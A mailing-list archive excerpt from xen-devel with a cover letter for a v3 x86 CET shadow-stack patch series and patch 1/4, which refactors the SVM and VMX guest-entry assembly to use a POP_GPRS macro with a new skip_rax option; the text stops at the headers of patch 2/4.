Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfF31-0003n9-EA; Thu, 02 Jul 2026 10:53:35 +0000
Received: by outflank-mailman (input) for mailman id 1351631;
 Thu, 02 Jul 2026 10:53:34 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wfF30-0003mx-FX
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 10:53:34 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfF2z-006AId-KE
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 12:53:33 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a46432d-2eae-0a2a0a5409dd-0a2a450bdc78-0
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 12:53:33 +0200
Received: from [209.85.221.52] (helo=mail-wr1-f52.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a46432d-ac48-0a2a450b0019-d155dd34b043-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 12:53:33 +0200
Received: by mail-wr1-f52.google.com with SMTP id
 ffacd0b85a97d-472326ca506so1212877f8f.2
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 03:53:33 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-477dd94cb64sm8013869f8f.23.2026.07.02.03.53.32
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 02 Jul 2026 03:53:32 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Autocrypt:Content-Language:Cc:To:Subject:From:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1782989613; x=1783594413; darn=lists.xenproject.org;
        h=content-transfer-encoding:autocrypt:content-language:cc:to:subject
         :from:user-agent:mime-version:date:message-id:from:to:cc:subject
         :date:message-id:reply-to;
        bh=WHZrdIaIr/Qonp/FQk8s4CA8XTn74JzLmvsThtsbxFU=;
        b=Wu8eT+cLAghd5mT98HZc/e+P5K+TTIwE1q72DVXUrj+DECscaXNY95qaoYUpXQX5qo
         KBI59t4b59/cZBIrh28xCg/mtBspWh9N69WWbQeiIOUEz4bI30kzF/78Pr4RUPEENyWe
         okGk3b42jDmu1OR9tF9Xo+LORwX0TpskeWhqLwB2Hrb47ZyteYn4AqlmEgYHFBneYrXx
         O37DWNBN/EpgQEC5dwdCYgcnDkDGergw8KW1ixJYaIGTdeMjuFCLvzsPC0qJQHCPSZKA
         2Rfoa+R6warED4KiLEz6+oSzXuwYRU96sAVjdW81z+FeICrPOeq/luTso/NwdeGWzUWp
         Rcqg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782989613; x=1783594413;
        h=content-transfer-encoding:autocrypt:content-language:cc:to:subject
         :from:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to;
        bh=WHZrdIaIr/Qonp/FQk8s4CA8XTn74JzLmvsThtsbxFU=;
        b=g6RgUlcb87E3wTBKmx7w7lgZy26TW9miWgTxfqXXZhi/Xr9FTkw33bl5Yv7kLqXV7G
         7II1j2/eMFucvImtJTDuBl/TCu2MFm6fVn9YNZmOSdEU9eEQDEB/azdEycNSrS1Qr7ke
         73RCmOptxbnyeVGLenh1JWWoBL6gPM6lYPOhOFoTA10ES6E6oGA4e4o0F/X/zXHVntLy
         eMwvvW+7x15hnCKx8nz8PSsI0t3wNuZBRooI9rRytDGgmXFo/WInGPZtMpQP8MkrBwjF
         aZdec2enuFxeuZ/M2BnHf3Z181ZAxJ06bFITkARSysmQoN5qhqgj5F8BXajWR31HaU7p
         dIDA==
X-Gm-Message-State: AOJu0Yz4tMBQtrG2Fh/XHJBZ+juulHnrGcrsIFqEgenPwGuq56AjeBe1
	qlTjbs8hB9lTcZUYU6iP0t9GppOT3jVHKz9l1J8zIAJiN1WKywewhGFwGzTvw80/ilgnvmjkZUp
	PFPfN8g==
X-Gm-Gg: AfdE7ckUVeXk3JF4+C/Q3oiEldaKilAHjoJdsuXk9Df4tdq9Wr5y1L9ZTOBMbdZ/b9O
	rFHPCAVP2BwWsAzx9PZopQJ5wcm8WD3UFSahoLZwnH7dJdMzTKqUzPI795nCkOpst6aJhyXMmaL
	9NqHyajgogGRGpJnUsGsuq2s/LH1FXqP9oSyge6D5RCPMzyVZfoVtcOz9jn5gbNckCvfVVORsku
	apX+9Gl4m+nWhvaiYFE6WF4iK6sxpsH034BgUrrQazrVF7vyIMQj2vo33IjQ2pvMCIS04tobzNn
	6Qg34fQPtLMjLu4L3eSdCJH8xFbx2KEBbaDzoFrWhwYaBLLKh2uyU2weXKH0mt8tANc04/LhRXR
	hAe2i6Curd2T8y+wahr9+7O87woj6D7g1lV7OhStr998TwSzyH2nWf1fXm0Rh4Mo91FJUrHrlgQ
	f6Do5TPjNydbe5b94kwALoqjJxLnZ3DysE32AyJLgLhlQQfNNknGQcmzGvsA3j+06HciFIyDuDm
	9BC
X-Received: by 2002:a5d:5d82:0:b0:475:f0f0:9ef8 with SMTP id ffacd0b85a97d-4775b930513mr8613725f8f.61.1782989613072;
        Thu, 02 Jul 2026 03:53:33 -0700 (PDT)
Message-ID: <7ba5ecff-af64-49c0-abf9-23963ca56aa6@suse.com>
Date: Thu, 2 Jul 2026 12:53:32 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
From: Jan Beulich <jbeulich@suse.com>
Subject: [PATCH v3 0/4] x86: CET-SS related adjustments
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>, Wei Liu <wl@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6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kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-42698a/1782989613-3AB38220-FB1BC830/0/0
X-purgate-type: clean
X-purgate-size: 472

One might think of this as follow-on to XSA-451, but that's not quite
the right order of events.

There are a few open aspects; see in particular the final patch.

v3 addresses review feedback, which includes one new (prereq) patch. See
individual patches for details.

1: HVM: don't (almost) open-code POP_GPRS
2: record SSP at non-guest entry points
3: traps: use entry_ssp in fixup_exception_return()
4: prefer shadow stack for producing call traces

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 10:55:07 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 10:55:07 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351640.1608744 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfF4U-0004Ob-SN; Thu, 02 Jul 2026 10:55:06 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351640.1608744; Thu, 02 Jul 2026 10:55:06 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfF4U-0004OU-PF; Thu, 02 Jul 2026 10:55:06 +0000
Received: by outflank-mailman (input) for mailman id 1351640;
 Thu, 02 Jul 2026 10:55:05 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wfF4T-0004OJ-8T
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 10:55:05 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfF4S-00DX1f-LM
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 12:55:04 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a46437d-5cb7-0a2a0a5109dd-0a2a45019694-16
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 12:55:04 +0200
Received: from [209.85.128.46] (helo=mail-wm1-f46.google.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a464388-400f-0a2a45010019-d155802eb435-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 12:55:04 +0200
Received: by mail-wm1-f46.google.com with SMTP id
 5b1f17b1804b1-493c733f15aso3068285e9.0
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 03:55:04 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493c63648d7sm38769855e9.7.2026.07.02.03.55.03
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 02 Jul 2026 03:55:03 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1782989704; x=1783594504; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:autocrypt:content-language
         :references:cc:to:from:subject:user-agent:mime-version:date
         :message-id:from:to:cc:subject:date:message-id:reply-to;
        bh=ilPQpTG0pa/hptnKJjw2or04R0MiCz+VtMpqPju/z7U=;
        b=MzfErFCR1KZYRbAUzlKUhQAM0yXaLQObwtOc+bf2+v83c3Ha6Ae8XM1bcJIVHBxk21
         1Q7NGb7M0rCNTncidw4TfIadmZvtbWR+utHk5uMYf8S03IxCJE/bOuiYRi938KkZ/XcV
         X7Yn7/qKwZyM/pQt86FOwuvOg26DC+NmuIBxp+6HWV9SlQb/Lf00sXOy+Ecs9NWiCccJ
         bC2Z4OS7xB04k+dYCif7gpsp41TgS2gEzDendTKFdapgz0HwkZSUK8Ei+rUmW5YR5qpN
         h2UOF1ycRg74fUbKR/BkVQ1BmgGePwv/oR+MXHX3SWQgYb9VobNRs2k2rXPRbtih/dN0
         i/rw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782989704; x=1783594504;
        h=content-transfer-encoding:in-reply-to:autocrypt:content-language
         :references:cc:to:from:subject:user-agent:mime-version:date
         :message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to;
        bh=ilPQpTG0pa/hptnKJjw2or04R0MiCz+VtMpqPju/z7U=;
        b=R/gZai3fNVLow6ATnXWg8ysR40SFRp7CKZl2B0QW66xJr/w2NPtwo7WDFJlodUgFSF
         HEat85efDSgOoAZAmfx641trTLfKrft8n4bfeRh86FO+KzLrdp1yUFvjfnS12430jmr2
         WLBidvu3cT50vkrnc0xybvTumlVsfW8a0UFBHP16gse0beQ5+MIx9HGvKBOpsx59Nm9q
         Fj5FFVAu/CvdiG2X9ZBBgGhoih1py9bNYtPptx3F7P4lPHNXcrF8Wun10FY+8e2bHaKN
         5WADvzIOJ3QtXGV70TNalNe+H/6IJauQPle1qha1PdCrcS9kiDhlZvSz47WrNajSmIR0
         8eUQ==
X-Gm-Message-State: AOJu0Yy31TK1OfjEv4S9vYZ5rTiJom068rDXGHT27TRHPt3JbvfUKJBQ
	V/067eFpXmBeIhaDXOFR72/5ZCKeIhJtnm6I6r2kHWcaDLICkvUKER5PheKs5yyjNgSyHpBbK39
	QcOBHuA==
X-Gm-Gg: AfdE7cl49xZs/R4OBYanJILRwLBj9Mt7teveHn4OYMQrbk7sD4iGzouY1R+Fwb160R7
	OFI/q8DKLYYwbN78mCKg+YELUVynVZWvPX2aG5SHYV59ST45eTfxFLbe+6CBe7NRnHi3INKOdJJ
	RSD2MrhbB3EDzSeVlxjaUW95S4kicR7rT6uK1l3DnQyjr8Rw/TY5S7YLf0zREwGcEq1Q4iVQ5Y2
	7YWonuUVD62ZVo47TG0s79jHz64m4D6Iv7kWJynMcEClU2fFlp93ECTEsJdIe91ZSUmeL6BdC2p
	N2A/Xqh1Dbq+BmK5Y78wSjXTq1QSCUhWABSdeje02Msk0yffmpG24i75ZA5izaoOwLVadTsm+oO
	00twBSD+n0K+VL6qET0OBJH8CK/DGg8u91xrO1yowkytF05HnWHthXYrHcgvvefPlDazZyjTU70
	tP0GVpJoXEFUzCT6bBS4QnbkTlhrW0hqHLIdJkIbzl8M/D31QgBng9e8JZaovXD+aF5S3juc4st
	bVK
X-Received: by 2002:a05:600c:19cd:b0:493:bcba:3d5f with SMTP id 5b1f17b1804b1-493c63ab8e9mr26066305e9.13.1782989703898;
        Thu, 02 Jul 2026 03:55:03 -0700 (PDT)
Message-ID: <a89951cb-43c0-45bd-aba1-273cd053deae@suse.com>
Date: Thu, 2 Jul 2026 12:55:03 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH v3 1/4] x86/HVM: don't (almost) open-code POP_GPRS
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>, Wei Liu <wl@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>
References: <7ba5ecff-af64-49c0-abf9-23963ca56aa6@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <7ba5ecff-af64-49c0-abf9-23963ca56aa6@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-d62444/1782989704-D06D61E0-A81DC4AA/0/0
X-purgate-type: clean
X-purgate-size: 2268

It can be used as-is for VMX. For SVM the special treatment of %rax needs
accounting for.

Signed-off-by: Jan Beulich <jbeulich@suse.com>
---
This is the minimum required as a prereq to the next patch (to avoid the
need for custom adjustments in the two places). We could go further and
switch to using PUSH_AND_CLEAR_GPRS at the same time.
---
v3: New.

--- a/xen/arch/x86/hvm/svm/entry.S
+++ b/xen/arch/x86/hvm/svm/entry.S
@@ -82,22 +82,8 @@ __UNLIKELY_END(nsvm_hap)
          */
         sti
 
-        pop  %r15
-        pop  %r14
-        pop  %r13
-        pop  %r12
-        pop  %rbp
         mov  VCPU_svm_vmcb_pa(%rbx),%rax
-        pop  %rbx
-        pop  %r11
-        pop  %r10
-        pop  %r9
-        pop  %r8
-        pop  %rcx /* Skip %rax: restored by VMRUN. */
-        pop  %rcx
-        pop  %rdx
-        pop  %rsi
-        pop  %rdi
+        POP_GPRS skip_rax=1 /* %rax restored by VMRUN. */
 
         SPEC_CTRL_COND_VERW     /* Req: %rsp=eframe                    Clob: efl */
 
--- a/xen/arch/x86/hvm/vmx/entry.S
+++ b/xen/arch/x86/hvm/vmx/entry.S
@@ -139,21 +139,7 @@ UNLIKELY_END(realmode)
         and  $SCF_verw, %eax
         or   %eax, %ecx
 
-        pop  %r15
-        pop  %r14
-        pop  %r13
-        pop  %r12
-        pop  %rbp
-        pop  %rbx
-        pop  %r11
-        pop  %r10
-        pop  %r9
-        pop  %r8
-        pop  %rax
-        pop  %rcx
-        pop  %rdx
-        pop  %rsi
-        pop  %rdi
+        POP_GPRS /* Preserves flags. */
 
         jpe  .L_skip_verw
         /* VERW clobbers ZF, but preserves all others, including SF. */
--- a/xen/arch/x86/include/asm/asm_defns.h
+++ b/xen/arch/x86/include/asm/asm_defns.h
@@ -357,7 +357,7 @@ static always_inline void stac(void)
 /*
  * POP GPRs from a UREGS_* frame on the stack.  Does not modify flags.
  */
-.macro POP_GPRS
+.macro POP_GPRS skip_rax=0
         pop   %r15
         pop   %r14
         pop   %r13
@@ -368,7 +368,11 @@ static always_inline void stac(void)
         pop   %r10
         pop   %r9
         pop   %r8
+ .if \skip_rax
+        pop   %rcx
+ .else
         pop   %rax
+ .endif
         pop   %rcx
         pop   %rdx
         pop   %rsi



From xen-devel-bounces@lists.xenproject.org Thu Jul 02 10:55:26 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 10:55:26 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351643.1608753 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfF4o-0004lp-4D; Thu, 02 Jul 2026 10:55:26 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351643.1608753; Thu, 02 Jul 2026 10:55:26 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfF4o-0004li-0v; Thu, 02 Jul 2026 10:55:26 +0000
Received: by outflank-mailman (input) for mailman id 1351643;
 Thu, 02 Jul 2026 10:55:24 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wfF4l-0004id-Vd
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 10:55:24 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfF4l-005SNi-Bz
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 12:55:23 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a464398-bab6-0a2a0a5309dd-0a2a4507b412-24
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 12:55:23 +0200
Received: from [209.85.221.45] (helo=mail-wr1-f45.google.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a46439b-9c8e-0a2a45070019-d155dd2dace7-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 12:55:23 +0200
Received: by mail-wr1-f45.google.com with SMTP id
 ffacd0b85a97d-47122683cf3so1234215f8f.0
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 03:55:23 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-477ddf0f310sm7709053f8f.31.2026.07.02.03.55.22
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 02 Jul 2026 03:55:22 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1782989722; x=1783594522; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:autocrypt:content-language
         :references:cc:to:from:subject:user-agent:mime-version:date
         :message-id:from:to:cc:subject:date:message-id:reply-to;
        bh=LVZ9L1TPFh7mEp2xecv7V5O5RSUvEp2Ng8R7qCS66ME=;
        b=PmLNavicnZHp8i3D+d8nIzbEowiVuG2MUXaJiMrxQtk7cuWHYWWXkpvHH4BUgN9dW7
         Kx23DbEk+wq91PGnjxwYLos+biErTJa91Kb4psDd7GM4NHk0GB9wF4dtxCe7FjR3bd0I
         OH6uFLfWB26eb+lEUbTxH7ocpeYu1GG2QFpV3w4s6cy6mVmYAcLGXLx0GjUNGKaoHLEm
         ZeJNrB3mcc3pYmdKryyWany7OfX26vS8wAnBjXe1zS+f9/rrCYKwd9QHVjNHJKhI+Zjj
         BmI7kPRbSq+M/U8PLfetVLVRiGBiVgkedGpaHek+lw28RehDL6HO85stcRP78AcNbCD8
         ksdQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782989722; x=1783594522;
        h=content-transfer-encoding:in-reply-to:autocrypt:content-language
         :references:cc:to:from:subject:user-agent:mime-version:date
         :message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to;
        bh=LVZ9L1TPFh7mEp2xecv7V5O5RSUvEp2Ng8R7qCS66ME=;
        b=cyahNBXJv6Abm+x+64YIL8+7fnDX5S1pOrFe+WTOAe7L+ZbUH4ya9zIunSWtRLIt9D
         XPNQ0PL7jMYQ4ie6Cwxj57SJXneY3U0VaIs4GYrUkUlEczpe2PxNgHx6NhYoEQJ6Vcdk
         qa3p3slzmJT0Is67GVmjdfWTJP8awr6zEX9h5i1QWA2YEjApv5o5JeJTSay/ri3rVlm5
         siEg7FtydwWTYAL1Sv2LN6UFH1EE+9x0xLSJMQ7CCSAn+O2zJUmLgsZMDqtB+k5yTwvZ
         nge/c1FE7tf2Ot8IJoEI/dEMR/BH/U5Rpbz+ems+E6PA9mp0eA3WRGMj9j8pdtCyEVRU
         CrnQ==
X-Gm-Message-State: AOJu0YxyNCq/1Ncoc7VRW3v0DdenPDGDAgOKIgNf0y8qXF1H+iM7GPOv
	gpsEuzIqu1GnaGPwbAaD2xcltOEX7pWBgkLXk3bbD01T1erzqYsCajzYJp+etT0m0a/Q9SM8jEe
	diJX/vA==
X-Gm-Gg: AfdE7cmXcJBstqcssbxGTDzKIdoNN3nCdJdaOkOIFlF4/KqaEPucmPzsWoKeLNMtSNO
	w6FTXaw4LMFKKCWgu17PiLHwFmlzGN/kLRyLZOCzCFuxyK8coOZXJN0tscZ9P4fsW2SH2zDyiNL
	mfb+1nL/gkGy9xewWB8HlA8zjyUboONTD/C8v7iZzVvI1d4qyYuFoxNdWv6zBOR1PxSzaLvwtjy
	YOuU7L4YKieXlef/OX9lPxSqDCP1OJJqjJb2VGehK+6Jhh72F7U9fMeekS9ObAfpS8Qxuuxl+8B
	94YzEVuQpw+VcIRUvTpJOrG5aQtmeSG52WeaO3ROPK2njyWnoSCqtmMzir0G+zmOwfo4jAFnM/c
	ow0keIrbgXe1Nz/kw3TplNfgzZ3I1f+PuBT/KiP9ZEl3Ni/an8gAJKA5q0jR+nwXEtKBVQeRqje
	6pjJigJk+0PiJ80zUmnH9O0FC+XrkdeVWCDVEFD6KCCU5uZfu5bx/C/jF/155/RhIoVAARXZloV
	x1v
X-Received: by 2002:a05:6000:240c:b0:46e:6210:ad4a with SMTP id ffacd0b85a97d-47757e57e77mr8219284f8f.5.1782989722576;
        Thu, 02 Jul 2026 03:55:22 -0700 (PDT)
Message-ID: <eb380ba2-cea7-4433-a692-9c233f6503ca@suse.com>
Date: Thu, 2 Jul 2026 12:55:21 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH v3 2/4] x86: record SSP at non-guest entry points
From: Jan Beulich <jbeulich@suse.com>
